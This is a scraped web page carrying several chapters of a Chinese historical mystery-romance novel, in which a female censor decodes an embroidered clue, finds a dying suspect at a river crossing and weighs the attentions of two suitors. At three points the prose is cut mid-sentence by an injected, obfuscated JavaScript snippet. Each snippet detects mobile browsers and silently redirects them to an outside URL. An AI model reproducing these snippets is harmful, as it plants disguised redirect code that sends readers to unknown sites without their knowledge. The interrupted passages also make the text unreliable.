“那宅子找起来还挺费劲的,说是要先到城中小石巷,然后往东面走,在遇到的第一个岔路口后再往南走,看到的第一间宅子就是了。” 张氏显然对城里的小路并不熟悉,但林雪意却越听越心惊,她嘴唇颤了颤,身侧的晏返率先说出了她心中所想—— “那不就是我们住的地方吗?既是要给你的,为何不直说?” “是要给大人您的?”张氏十分意外,边说便从菜篮子里翻出一个用绢布层层包好的小布包递过来,“芷柔告诉我说,大人您生病了。您对她有救命之恩,她却无法去看望您,很是惭愧,只能等下次见面的时候再向您道谢了。” 林雪意连忙接过小布包,揭开绢布的手不由微微颤抖起来。 张氏没从芷柔的话中听出什么蹊跷,她却明白。 他们租住的宅子其实并不难找,就在尹阳县城的主道之一——吉祥大街的边上。 而芷柔告诉张氏的路线,正是她们被困在黑龙潭的水寨里时,她让芷柔带着水贼走的路线。 从黑龙潭方向去他们的住处,那算是一条捷径,可若是要从蒙潭村出发去找他们,走这条路所要花费的时间跟走吉祥大街是一样的。 芷柔为了卖绣品去过县城,定然也到过吉祥大街,那么她定然知道,以吉祥大街为标志找他们的住处,要比小石巷要容易得多。 她会这么告诉张氏,定然另有用意。 “别急。”身边的人轻轻拍了拍她的肩膀,出言安抚。 林雪意定了定心神,打开绢布,就见里面是一方洁白绸布叠了几叠。 她拿起绸布展开,发现上面绣的是一幅雪燕报春图,两只轻盈灵动的燕子衔着柳条和花枝围绕中间的吉祥团花纹款款而飞。 林雪意一眼便看见了那中间的团花纹样:正中心的花形是尖瓣的五瓣花,在五个花瓣间隙里,又各生出一枝缀有花苞的小花枝——这分明就是素馨花! 素馨果然来找过芷柔! 恐怕芷柔想向她传递消息,又担心被发现,才把信息隐藏在刺绣中。 花是素馨花,那燕子又是什么意思? 林雪意看向那两只绕着团花纹飞行的燕子,隐隐感到了一丝不协调。 “芷柔这孩子,怎么这样绣。”张氏原本正在感叹芷柔的绣工精湛,忽然笑着嗔怪道,“俊俏是俊俏,但哪有将一对燕子绣得相背而行的,这岂不是劳燕分飞?” “劳燕分飞?”林雪意闻言仔细端详起来。 确实如张氏所说,那两只燕子是往相反的方向飞的,一只叼着桃花枝,一只衔着柳条,虽然绕着团花飞行也可算是相对而飞,但却因为它们口中衔的东西而显得聚不到一起。 她的视线一错,目光陡然在那翠绿欲滴的柳枝上凝住。 只见柳枝上翠生生的柳叶之间,用红线绣出了一段红绳,那红绳的末端系着一枚小小的圆环。那圆环是用深浅不一的红色绣线绣成,熠熠生辉,像是耳环又像是戒指。 就在脑海中闪过戒指这两个字眼的瞬间,林雪意浑身一僵。 莫非这红色圆环指代的是离公子手中的那枚扳指?! 当时她为了忽悠孟长宇,也为了从他口中套话,故意说离公子手中的扳指是血胆玛瑙做的,芷柔肯定也听到了。 两只燕子相背而行,劳燕分飞,正是分离、离别之意,不就是在暗示“离公子”?! 如此说来,除了素馨,离公子也来过,芷柔正是通过她先前的描述认出了他。 害死她父亲的凶手,这一切的始作俑者,眼下就在尹阳县! “大人?您怎么了?”眼见林雪意的脸色骤然变得煞白,张氏担忧地问道。 林雪意艰难地摇了摇头。 芷柔如此隐晦地向她传递消息,就是不想将无关的人牵扯进来,她自然也不想。 晏返替她紧了紧仍披在她身上的大氅,和言道:“夫人她今日出来得有些久,想来是累了,我这便带她回去休息。” 张氏不疑有他,关心问候了林雪意几句后,又对她救了芷柔一事表示感谢。 林雪意心中却颇不是滋味。 她是救了芷柔不假,但是芷柔这次却因为她陷入了险境。 她希望芷柔跟方容是真的离开了此处去避风头,但却又不得不承认另一种更为残忍的可能——她们或许已经遭到胁迫,落入了离公子的手中。 晏返先翻身上马,向林雪意伸出手。 林雪意习惯性地伸手任对方拉她上马,可这一回却不同于之前那样总缀在他身后,而是到了他怀中。 她错愕地看向晏返,就见他扬了扬俊逸的剑眉,道:“夫人你魂不守舍的,为夫担心你掉下马背去。” 林雪意反应过来,点了点头,垂下了目光。 晏返本是有意加重“为夫”二字逗她,见林雪意仍是无精打采的,便知她心中郁结,不由软下了语气,道:“林雪意,实在难受的话,本世子的肩膀可以借你靠一下。” 晏返说得云淡风轻,林雪意却被他言语中的“难受”二字刺中了心房。 她怎么会不难受? 杀父仇人就在此地,可她却无能为力。 她一路追查到此,见到了许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913827|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多同样陷入水深火热的人,更是经历了多番惊险,丧父之痛原本已被沿路的奔波和忙碌稍稍抹平,可是如今再次回忆起父亲的死,痛彻心扉的感觉又回来了。 对凶手的恼恨,对芷柔的歉疚,对来迟一步的自责……各种感情混杂在一起,笼覆心头,让她难受得说不出话来。 林雪意只觉得眼眶烫得厉害,视野一瞬间便有些模糊。 晏返正策马缓行,突然瞧见有泪珠在林雪意的眼睫上颤颤巍巍,心中顿时一慌,勒住了缰绳,道:“别哭啊,我可不是想趁人之危……” 他话没说完,身前的人就转过脑袋轻轻抵在了他肩上,让他解释的话卡在了喉咙里。 她垂在身侧的手慢慢抬起,轻轻抓住他的衣服,而后葱段般的手指一分分收紧,纤细指骨攥得发红。 怀里的人在微微颤动,肩头的衣料传来温热的湿润感,晏返想要出言安慰,却觉得自己一颗心脏就如身上的衣服一般被揉得皱皱的。 野外寒风簌簌,他缓缓抬起手,像是想要替她挡住朔风,又像是想要替她理理被风吹乱的乌发。 最终,那手不听使唤地停落在她脑袋上。 贴上她柔软发丝的掌心处传来温柔触感,带着她隐忍啜泣的轻颤。 他双唇动了动,一时不知道该怎么叫她。 连名带姓地叫她,似乎有些冷硬,称她夫人,则显得戏谑了,可若是唤她意儿,又好像不合时宜。 林雪意感到有一只大手轻轻盖在她头顶上,片刻的沉默后,微沉嗓音徐徐穿透风声,无端让人心生安定:“……别难过了,至少……至少不是全无线索。你能发觉此处的异常,已是寻常人所不及,换了是我,未必能做得更好。” 感受到他说话时胸腔微微的震动,她放任流淌的情绪有了一瞬间的回笼。 她的头抵在他肩上,下方他的心口处传来沉稳又有节律的跳动,一下一下,似是无声叩击她的心房,让她脸颊幽微发烫。 察觉到怀中的人轻轻一僵,晏返有些不明所以,垂下目光望着她,道:“县衙的人已经按你的提示着手搜寻了,如果能找到孟长宇,也就能知道离公子的下落了。” 他感到抓着他衣服的手微微动了动,似乎是想要松手,但手指关节却因为长时间处于紧绷的状态而有些发涩麻木,所以做起来有些费劲。 他觑着她的手一点一点地松开,心头生出了一点莫名的情绪,像是不甘又像是不舍,目光追逐着她发白的指尖,眸色愈深。 林雪意正琢磨着要怎么才能不动声色地从晏返怀中出来,却错觉般感到从他衣料底下透出的心跳声有些急促,落在她头上的手掌微微发沉。 也就是在这时,一阵疾驰的马蹄声由远及近,寂静空气中响起了熟悉的,略带慌张的,小伍的声音—— “大人,不好了!我们……呃……” 那话音突然中断,说话之人显然是愣了一下。 林雪意猛然回过神来,用力一推晏返便直起身子,惊诧地看向不远处呆在马背上的小伍。 晏返就瞅着自己肩头的小脑袋突然弹起来,以迅雷不及掩耳之势转过身去。他瞥见她鼻尖通红,脸庞如同熟透了的柿子。在她扭头的瞬间,眼眶上的红晕,睫毛上的湿意便清清楚楚地落入他眼底。 她就像一只仓皇欲逃的兔子,在他胸口蹬了一下,却让他心头蓦地一软。 “怎么了?可是找到孟长宇了?”林雪意连忙抹掉泪痕问小伍。 小伍飞到九霄云外的思绪被拽了回来,他急忙道:“找是找到了!可是他那样子……哎!您快去看看吧!” 74. 残躯 琅琊渡比往常更加热闹。 虽然官府已在江边设置了长长的一段行马,但还是有许多看热闹的百姓围拥在外,需要衙役往来维持秩序。 林雪意和晏返驾马而至时,看到就是这样一番人头攒动的景象。 二人一下马,方玉宣就从人堆里挤了出来,一面带路一面神情复杂道:“我们按大人所说的进行搜查,果然查到一对母女打扮的人在河边出没。但是等我们找过去的时候,他就已经变成那样了。” 就在方玉宣说话的时间里,三人已经穿过了人群到了河边,林雪意一眼便看见了河滩边上的孟长宇,顿时头皮发麻—— 只见他整个身体已被野兽啃食得残破不堪,几乎找不到完好的部位。软烂的淤泥从他身体的破口处渗上来,和他身上的血污混在一处,臭气熏天。 他原本就丑陋扭曲的脸被纵横交错地切割成了几块,其间一双泛出死气眼睛僵直地望着天空,但却似乎因为还残存着最后一口气,浑浊的眼珠间或颤动一下,但立即又被扯回原位。 “他这样子,就是想捞也捞不上来啊。”跟在他们后面过来的小伍看着那破烂一样的躯体,很是发愁。 孟长宇的下半身还浸泡在水中,浪潮往江边一涌,他便微微被往前推一些,身体也便如破抹布一般被扯开一些。看这样子,他是被江水一路冲过来的。 也难怪衙役没有在发现他的第一时间里就将他弄上来,因为就如小伍所说,以他身体的完整程度,想要完好地打捞上来极其困难。稍有不慎,他吊着的这口气也就没了。 衙役正按照方玉宣的布置,往孟长宇的位置铺出一行木板,林雪意便在方玉宣的带引下向不人不鬼的孟长宇走去。 江面的腥风吹来,裹挟着血污和淤泥的味道让人作呕。 林雪意细眉微蹙,在木板的尽头半跪下来,审视着泥滩上的人,叫道:“孟长宇。” 那具残缺的躯干似乎是听到了有人在叫他,涣散的目光闪动了一下,眼珠艰难地往这边颤了颤。 “离公子何在?”林雪意问完这句话便屏住了呼吸。 孟长宇的咽喉也已经被野兽捣烂,以他眼下的状态,还没有死透已经是莫大的奇迹,显然不可能再发出一星半点的声音了。 她只希望能够从他身上得到一点关于离公子的线索,哪怕只是一丁点也好。 孟长宇像是听到了什么骇人的话似的,原本纹丝不动的眼睑微微掀了掀,身侧破破烂烂的手臂竟然缓缓地抬了起来。 他整个人就像一具断了线的木偶,此时抬起手臂的画面于无声中透着一股诡异,让人脊背发凉。 林雪意却瞬也不瞬地盯着他已经被咬去一半的手掌,就见残留其上的手指在指向她时轻轻一顿,又指向她的身后。 林雪意下意识地看向他手所指的方向,发现她身后的人正是晏返。 她眼睫轻轻一垂,心思百转,复看向孟长宇:“你是说黑色?” 因她一直披着晏返的衣服,所以若说她和晏返此时有什么相同的地方,那便只能是衣服的颜色。 孟长宇的眼珠颤了一下。 黑色所指代的乃是北方。 边上的方玉宣也明白过来,即刻部署衙役往北面追缉。 江风飒飒,林雪意在一阵腥气中隐约闻见她在石室中闻到过的古怪气味。她想起了孟长宇饲养的怪物,眉头皱得更深:“你们做这些是为了什么?” 孟长宇的眼珠突然剧烈颤动起来,他像是回光返照一般,灰暗瞳孔猛地往林雪意这一侧歪斜过来,晃晃悠悠的手臂蓦然发力指向她。 “扑”的一声,似乎因为过于用力,他破败的手臂如朽木般陡然碎裂成几截,奋力抬起的一端掉进了淤泥里。 而他的瞳孔再也没有被拽回眼珠中间,就以那种诡异的角度对着她的方向,陷在他脸上纵横交错的血痕之中,尤为阴森可怖。 他终于死了。 林雪意只感到遍体生寒,但她的视线却无法从孟长宇怪异的尸体上离开。 直到身后的人搀住她的手臂,温声道:“走吧。” 林雪意这才收回目光,任晏返将自己扶起来,心中却是千头万绪,眼前有一刹那的混沌。 晏返就见转过身来的林雪意一张脸白得像纸,心中不由幽幽一沉。他飞快地同方玉宣交换了一下神色,俯身一捞,便将林雪意抱了起来。 林雪意只觉得身体一轻,等她反应过来时,自己已经坐在了马背上。 晏返旋即出现在她身后,修长双臂执起缰绳,将她身周围出一方似乎可以阻挡风雨和喧嚣的小小天地。 见他调转马头似要往宅子的方向去,林雪意忙道:“晏返,我没事,我……” “知道了,女诸葛。”头顶覆落的语声截断了她的话,嗓音清澈温和却带着一点不容置喙的味道。 林雪意原本已经话到嘴边,被他这么一打岔,不由得转了话锋瞅他一眼:“什么女诸葛?” 眼帘中流畅锋利的下颌线轻轻一收,晏返似乎是笑了,叹着气道:“林雪意,慧极必伤。我知你查案心切,但也需先顾好身体。若是林大人还在世,你觉得他愿意见你这样吗?” 听对方突然提起父亲,林雪意目光轻轻一软。 若是父亲还在世,定然是不忍心见她这样的。 她虽不是身处什么富贵之家,但父亲却一直待她极好,从小到大都不曾叫她受过什么委屈。 他平日里有个头疼脑热,连药都舍不得去买,但却会攒钱托人去寻珍贵药材给她补身子。 他自己一双鞋子补了又补,常服上都打着补丁,却总会在年节前带她去买时新的袄子。 他从巡逻的州郡回来那日正是大暑,他顾不上去歇凉,第一件事便是将他从朝中领到的冰块拿去给她做冰镇酸梅汤…… 因此,当父亲提起她和明远侯府世子有婚约时,她虽然对那位纨绔世子的不着调有所耳闻,却仍决定履行婚约。 她相信父亲必有他的用意。 “你放心,方玉宣不是无能之辈,缉凶之事可以先交给他。”耳边传来晏返的话音,原本微沉的语声此时轻柔得像是在哄小孩子,“更何况人已走远,你再焦心也无济于事。” 大约是刚才吹了江风的关系,林雪意感到有些昏昏沉沉。 她点了点头,勉力抬了两下眼皮,最终还是放弃了挣扎,轻轻靠在了近旁的肩膀上,语出愧疚:“抱歉,肩膀借我靠一下。” 晏返方觉肩头一沉,就见怀中的人已经靠在了自己肩上。他不动声色打量她,鼓点一般的心跳却出卖了他。 他的玄色氅衣罩在她娇小的身子上,衬得那张本就没有什么血色的脸更加苍白。见她眉间神色恹恹,他放轻了呼吸,小心策马离开了琅琊渡。 林雪意没有睡着,所以当市集的喧闹声逐渐远去,马蹄声也渐渐慢下来时,她便知道已经到了。 她掀开沉重的眼皮,刚想请晏返扶她一下,却是整个人都被他抱着下了马,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931599|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路进了宅子。 “姑娘!”深月听到动静跑了出来,显然是被她的样子吓了一跳,一时有些手足无措,“您、您怎么了?” 一同过来的墨云也是一惊,立刻道:“属下这便去请大夫。” 深月也反应过来,慌慌张张地边跑边道:“今早的药您还没喝呢,我这就去端过来!” 晏返将林雪意抱进房间,让她在床头靠着,又伸手探了探她的额头。指端触到了一片滚烫,他心中一紧。 “林雪意,你怎么样?” 林雪意抬起眼帘看向他,抿了抿唇道:“我有些渴了。” “好。屋中的茶水凉了,我去厨房倒些热水来。”晏返说完又看了她一眼,而后快步地走出了屋子。 听到脚步声远去,林雪意撑着身子站起来,慢慢踱步到书案前。 她取出从石室里拿到的那盒迷魂胭脂,握在手心里,闭上了眼睛。 四下里一片黑暗,但很快在沉寂的黑暗中,有星星点点的光晕渐次亮起。 高飞的檐角,密致的抖拱,华美的雕梁画栋如梦幻泡影一般不断在她脑海中闪过,在那繁复如宫殿的建筑深处,重重花影间似有衣香鬓影…… ……这是什么地方? 随着林雪意心念一动,一座矗立于苒苒树影中的重檐牌楼骤然出现在她脑海中。 袅袅云雾间,三间四柱的牌楼其上用的竟是明黄琉璃顶,主楼之下,围拥在精致花纹中的匾额上赫然书写着三个铁画银钩的金色大字—— 神仙府。 林雪意只感到心头猛地一滞,脑海中所有的景象重重震颤了一下,旋即如遭遇地震一般分崩离析,只剩一片浓重的黑暗。 她的身体不听使唤地一僵,彻底失去意识前,她好像跌进了一个熟悉的怀抱…… 林雪意再度醒来时,只见屋中亮着灯火,深月正在床边趴着。 窗外漆黑一片,看样子眼下正是深夜。 她担心深月着凉,坐起身轻轻推了推她,轻声道:“深月,醒醒。” 趴在床边的小脑袋动了一下,而后突然抬了起来,一双眸子亮晶晶的:“姑娘,您醒了!您好点了吗?” 林雪意做了个噤声的手势,示意她小声点:“我好多了,不必担心。” 深月拍拍胸口,有些委屈道:“我怎么可能不担心啊?您白天突然昏倒,我都快吓死了。后来大夫过来,他说的话又把我吓得够呛。” “大夫说了什么?” “就是上次您为世子抓药时见过的,那个胡子眉毛一大把的寿安堂的老大夫。”深月提醒她,忧心忡忡道,“他说自己这辈子还是第一次见您这么奇怪的脉象。” 这话倒是跟泗水县的周老大夫所说的大差不差,林雪意也没有很意外。 她想这多半是跟自己的回溯之力有关,这古怪的能力对她而言也一直是个谜。她自己尚不解其中缘由,外人窥不破就更没什么可奇怪的。 “……到了最后,他也看不出个所以然来,只能按不足之症给开了几帖调理的药。”深月自顾自说道,“大夫还说您不能思虑过重,否则恐年寿难永。您不知道世子当时的脸色有多难看。” 林雪意闻言没来由地心头一跳:“晏返?” 深月点点头:“您昏倒的时候我正从厨房端药呢,是世子发现的。” “是他先发现的?”林雪意心里蓦然一沉。 她想起今日回来时的景象,忙问:“你端药的时候碰见他了吗?” 75. 赌气 深月有些不明所以,但还是照实答道:“不曾啊。” 林雪意垂下了目光,眼底滑过一丝复杂的神色。 晏返说要去厨房取水却没去,那便是知道她有意要支开他。 他是知道她会做什么吗? 他究竟知道多少? “姑娘?怎么了?” 听到深月小心翼翼地叫她,林雪意回过神来,问道:“知道衙门那边如何了吗?” 深月想了想,道:“下午那个小叫小伍的来过,我听他的意思,应该是还没抓到人。” 林雪意眉间神情一动,问:“他是来我的,还是来找世子的?” “是方县尉担心姑娘挂心案子,派他来转告姑娘的。但是那时候姑娘还睡着,他就同世子说了。”深月说着将桌上的药端给她。 林雪意一面喝药一面心中暗忖。 方玉宣既然让小伍来找她,那便是不知道晏返的身份。可是晏返言语间,却又好像对方玉宣很是了解…… 药汤原本苦涩难咽,但因林雪意心中想着事情,竟很快就喝完了。她把药碗递还给深月,就见深月正用奇怪的眼神瞅她。 “怎么了?”林雪意不解地问。 “姑娘,我怎么觉得,您好像把自己跟世子的界线画得很清楚?” 林雪意没有分析其中曲直,只摇了摇头道:“我跟他只是表面夫妻,本来就该分得清楚些。” “可是……”深月又给她倒了一杯水,道,“我觉得世子对您挺关心的。” 林雪意接过水啜了一口,敷衍道:“哦?何以见得?” 深月却是当真,掰起手指一件件算起来:“这远的就不说了吧,就说说最近。世子先是不顾危险入水寨救您,还没日没夜在您屋外守着,给您喝的药他都要先过目。今日您昏倒,世子也是一直到了晚间才离开的,走之前还提醒我,说若是茶水冷了,记得添些热水。” 林雪意握着水杯的手不由顿在了半空,指端悄悄收紧。 深月说着说着就有些发愁,托着下巴叹气道:“这么看来,世子也不错,可是二殿下也很好,这可真是难选!” 林雪意一时有些哭笑不得,睨了她一眼:“谁对我好,我便要选谁吗?” 深月愣了一下,不知是想到了什么,忽而嘻嘻笑起来,笑眼弯弯的像是一对月牙:“那当然不是啦。我家姑娘可是朝廷命官,女中豪杰。别人喜欢姑娘,那是人之常情,天下还有不想吃天鹅肉的癞蛤蟆?若是姑娘谁都不喜欢,自然谁都不用选。” “你这话糙得。”林雪意到底是被逗乐了,掩嘴轻笑了一阵,心情又好了许多,“好了,时候不早,你也快回屋休息吧。” 深月点点头,却是先去一旁打开了橱柜:“姑娘,这后半夜好像又冷了许多,怕是要变天呢。” 大约是喝了药的缘故,等到深月将被子搬出来替她盖好,林雪意又生出几许困意来。 深月离开前熄了灯火,在一片幽暗中,这几日的经历又一一浮现在她眼前。 虽然孟长宇已经死了,但从她在石室中的所见所闻来看,离公子一众似乎是有意用蛊毒制造攻击性强的怪物。 联系她在青州调查所得,她猜想应该是他们对目前造出来的怪物还不满意,因此才拐骗女子让她们服药,催生有耐毒性的血液,试图用那种血来改进怪物。 但她还有一些想不通的地方。 迷魂胭脂同样是由蛊毒所制,也是炼制怪物的一环吗? 它们跟她今日回溯时见到的神仙府又是何种关系? “神仙府……”林雪意不由轻吟出声。 虽然她不知道那是什么地方,但是那座牌楼竟然使用黄琉璃顶。普天之下,只有皇宫的屋顶才能使用黄琉璃,那座牌楼显然已经逾制。 建造那座牌楼的人,其野心昭然若揭。 那神仙府又是在何处呢? 林雪意想着想着,眼皮越来越沉,合眼睡了过去。 这一夜倒是没再发生什么扰人的事,等到林雪意听见深月的叫声迷迷糊糊睁开眼时,屋中已经十分亮堂。 “姑娘,醒醒……” 林雪意朝深月望过去,发现小丫头脸上竟有些急切。 她忙起身问:“怎么了?又是衙门那边传来消息了?” “不是。”深月连连摆手,往外头瞅了一眼,为难道,“是二殿下来找您。” “二殿下来了?”林雪意很是意外。 深月压低声音道:“一大清早就来了,但是世子不让人家进屋呢。” 林雪意顺着深月的视线往外头看了一眼,竟瞥见了满目纷飞的雪花,立时心头一紧:“他现在还在外头?” 见深月点头,林雪意连忙起来梳洗更衣。好在深月早有准备,她只花了一盏茶的功夫便收拾停当。 她匆匆步出屋子,眼角却瞥见一道熟悉的身影,脚步不由顿住。 “夫人这么着急是要去哪儿?”穿着招摇的晏返摇着扇子朝她走过来,欠揍的神情像极了他在京城的时候。 林雪意眉心微蹙走向他,直截了当地问:“你为什么要将二殿下拦在外头?” 晏返漫不经心道:“他是来找你的,可你还未醒。他本可以先回去却不走,怎么能算是我拦他?” 见他一脸玩世不恭的样子,林雪意心头微恼:“晏世子,你疯了吗?二殿下乃是皇子之身,你怎可如此怠慢他?” 晏返闻言一顿,优哉游哉的神情像是精美绝伦的瓷器上出现了一条缝,在簌簌雪声中悄然裂开。 他逼近她一步,眉间疏懒的神色消退,眸光幽沉的双眼像是淬了冰:“怎么,你心疼了?” 林雪意被瞧得心头一颤,继而一股无名怒火直往上冒。她用力推了他一把,柳眉倒竖:“你闹够了没有?晏三岁!” 晏返人高马大的,自然是没有被推动分毫。 林雪意瞅了一眼他逐渐漫上黑气的危险眼神,揉着自己被震得发疼的手腕,绕过他径直往门口走去。 门推开的那一刹,那道清绝孤寂的身影便落入林雪意眼中。 地面已经覆了一层薄雪,执伞立在雪地中的萧落珩恍然如一株玉树。他虽然身披狐裘,指骨却已冻得发红,被寒风吹起的发梢沾着一些雪花,越发将他衬得清冷出尘。 他听见响动,宛如冰封的寂寥神情轻轻一动,清亮眸光穿透风雪:“意儿!” “二殿下!您怎么一个人站在这儿?”林雪意急忙走过去,四下望了望,却没发现半个随从的影子。 萧落珩却是先将伞往她的方向倾过来,另一手轻轻替她掸了掸头上的雪,整个人像是冰雪消融般容色生动起来,关切问:“怎么这样就跑出来了?还穿得如此单薄?” 眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14954236|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他要去揭身上的狐裘,林雪意忙阻止他:“使不得!让您久等,我已是十分过意不去。若您再受冻着凉,可就是我的罪过了。” “可我没有觉得久。”萧落珩微微弯起好看的凤眼,温声道,“反而是想着再过不久就能见到意儿,我便感到心中喜悦。” 林雪意闻言眸光一颤。她旋即敛去眼底讶然,无奈道:“有什么事等进屋再说吧。” 萧落珩却摇头笑笑,柔柔地望进她眼底:“不必了,我只是来向你道个别。” “您要动身了?”林雪意轻轻一怔,继而点点头,“也好,您滞留此地已经太久了,早些离开是对的。” 萧落珩一言不发地望着她,似乎有一刹的失神。 林雪意被看得有些不自在,试探叫道:“二殿下?” “没什么,我只是有点不甘心。”萧落珩移开了目光,柔声道。 “不甘心?” 萧落珩看向宅院深处,眼底划过一丝冷峭,自嘲般弯起唇角:“坦白说,我不喜欢晏世子,可我却很羡慕他。至少在你难过无助时,他能陪在你身边,而我却总是只能追逐你的背影。” “二殿下,我跟他其实……”林雪意担心二人再生嫌隙,本想解释,可是话到嘴边却又停了下来。 雪花簌簌而落,轻细声响像是陆陆续续都拂在她的心弦上,让她无端心里发颤。 萧落珩的目光软下来,轻轻柔柔地垂首看她:“我不会放弃的。” 林雪意眼睫颤了颤:“什么?” 萧落珩却没有解释,只是自然而然地牵起她的手。 从指间传来的温热让林雪意错愕了一瞬,他如小时候那般抚开她微蜷手指,将伞柄放进她手心,温声叮嘱:“天涯路远,千万珍重。” 他说罢松开手,转身走进了雪中。 林雪意愣神片刻追了上去,想将伞还给他,却见他脚步一顿,自己便也停下了脚步,怔怔望着他。 “对了。”萧落珩侧过身来,掩去眼底落寞,“虽然你是要去梁州,但我还是有些不放心。” “二殿下此话何意?” “我取道扬州时,听闻那里时有女子失踪。不过,既然意儿不是往扬州去的,当是无恙。” 萧落珩说完转身继续前行,雪花轻轻落在他头上、肩上,最后彻底将他的身影遮挡在雪幕之中。 林雪意下意识握紧了伞柄,慢慢往回走。 她有意去琢磨萧落珩最后提到的扬州的事,好让自己不去想他先前说的那些话。 扬州跟梁州相邻,眼下也发生了女子失踪的案子,仅仅只是巧合吗? 引她去梁州调查的是在京城布庄里发现的血草,可是她这一路走来,和离公子有关的线索却全然不在梁州。 这究竟是对方有意转移视线,还是另有图谋? “呵,林御史舍得回来了?”一道微沉声线夹带着些阴阳怪气从檐下传来,打断了林雪意的思绪。 她抬眼看去,就见晏返正背靠栏柱在回廊上坐着,手中拢着不知从哪里摘来的鲜红小果子,边说边拣过来一只抛了抛,然后“唰”的一声掷进雪地里。 林雪意视线跟着那刚被丢出去的红果子,就见庭院中的地面上已经依稀被砸出了几个字。 她辨认了一会儿,不由得哑然失笑——那雪地里可不就嵌着方方正正的三个字:晏三岁。 76. 欺负 “晏世子气性可真是大。”林雪意步上台阶,莞尔道,“是我方才一时失言,我向你赔罪。” 晏返没好气地睨她一眼,道:“是我不识好歹,怎么能是大人您的错?反倒是我要感谢大人给我留了面子,没跟二皇子直说我们只是逢场作戏。” 林雪意闻言一怔,心知方才自己跟萧落珩的对话都被晏返听到了。 她知他听力极佳,算不得偷听,她跟萧落珩也没说什么特别的,本也没打算避着他,可眼下却不知为何,她却像是心虚一般,胸口突突地跳起来。 刚才同萧落珩说话时,那一丝闪过心头的莫名情绪又浮现出来。 她为什么没有说出口,她跟晏返其实没什么? 林雪意垂眸敛去眼底怅然,收拢手中纸伞,正打算进屋,却听得耳边传来急促的脚步声。 她讶然转头,高大修长的身影已经到了近前。 “手给我。” 林雪意不解地递出一个询问的眼神,却见晏返不由分说地抓过她的右手,将她手中的伞丢到一边,仔细打量起她的手腕。 林雪意跟着垂落视线,只见自己手腕上不知何时浮起了一片淡红。 她不禁想起自己出门前推晏返的那一下,料想是那时候挫伤了,只是当时心中气恼未曾觉察,眼下恼意散尽,手腕处便传来丝丝疼痛。 林雪意不由感到有点脸热。 她说晏返气性大,但方才却是她呵斥他在先,也是她动手在先。他那时虽纹丝不动,但到底近来三番两次受伤,想来也并不好受。 一念至此,她悄悄往回扯了扯手臂,不料晏返却将她手攥得更紧,直拉着她往厅中迈去,一边沉声唤墨云:“墨云,将化瘀的药膏拿来!” 他话音方落,墨云就把药膏送来了。 晏返和她隔着茶几相邻而坐,一手托着她手腕,一手打开药膏盒盖。 “让深月帮我涂就行了。”林雪意眼底惭色渐浓,边说边想要把手缩回来。 晏返却五指一收稳住她不安分的手,另一只手探指蘸了点淡黄色的药膏,头也不抬道:“林雪意,别任性,你再这样我会生气。” 林雪意闻言眼睛瞪得溜圆,心中腹诽晏世子生气的地方可真是奇怪。 一旁的深月听到动静本也想要过来帮忙,外头却在这时传来了敲门声,她只得向林雪意递来一个无奈的眼神,匆匆转身去开门。 墨云想了想,跟了上去。 林雪意的视线随着两人的身影往宅门移去,正想起身去看看,腕上却传来一阵刺痛。 她下意识垂眸一看,只见晏返的指腹已经压上她手腕。 药膏原本由于冬日严寒有些发硬,此时被他指端的温度软化,在她手腕处湿润地延展开,随着他手指微微用力的揉蹭,一点点渗入她的肌肤。皮肤在药力的作用下开始发红,激起一片隐痛。 “坐好,别动。若是来找你的,深月自然会通传。”晏返似乎知道她在想什么,说完抬眸淡淡扫了她一眼,“疼吗?” 林雪意闭上眼睛,诚实地点点头。 但除了疼,她心里还有一种古怪的感觉,像是有只猫儿在她心上轻轻地挠。尤其是被晏返这么不冷不热地看了一眼,那原本轻细的感觉便如他指腹传来的温热一般,愈来愈深。 “那我轻点儿。”晏返说着放轻了力道。 女儿家确实是细皮嫩肉的,他才稍微用了点力,她皮肤就开始发红了。但是若不用些力道,便揉不开底下的瘀血,这也是他没让深月来帮忙的原因。 小丫鬟对她处处维护,涂药定然也是轻手轻脚,若是拖泥带水,反而事倍功半。 他仔细瞅着她手腕,行事克制,莹白肌肤上泛起的红便格外扎眼,刺得他胸口有些发闷。 虽然晏返专注地垂着眼睫,林雪意却无端觉得落在腕上的视线有些烫人。她悄悄咬住唇瓣,忍着微微的痛,也忍着逐渐漫上了脖颈的莫名热意。 似乎潜伏在胸口的那只兔子又开始不听使唤地扑通乱跳,让她有些呼吸困难。 “怎么了?还疼?” 觉察到林雪意手腕的细微颤动,晏返眼含关切地看她,却见她一张清丽小脸漫上了一层淡红,原本没有血气的脸因着这片异常的红晕显得生动俏丽起来。 他的视线在她脸上凝住,眸光一分分变深,郁积在胸口的窒闷感便丝丝缕缕地散去了。 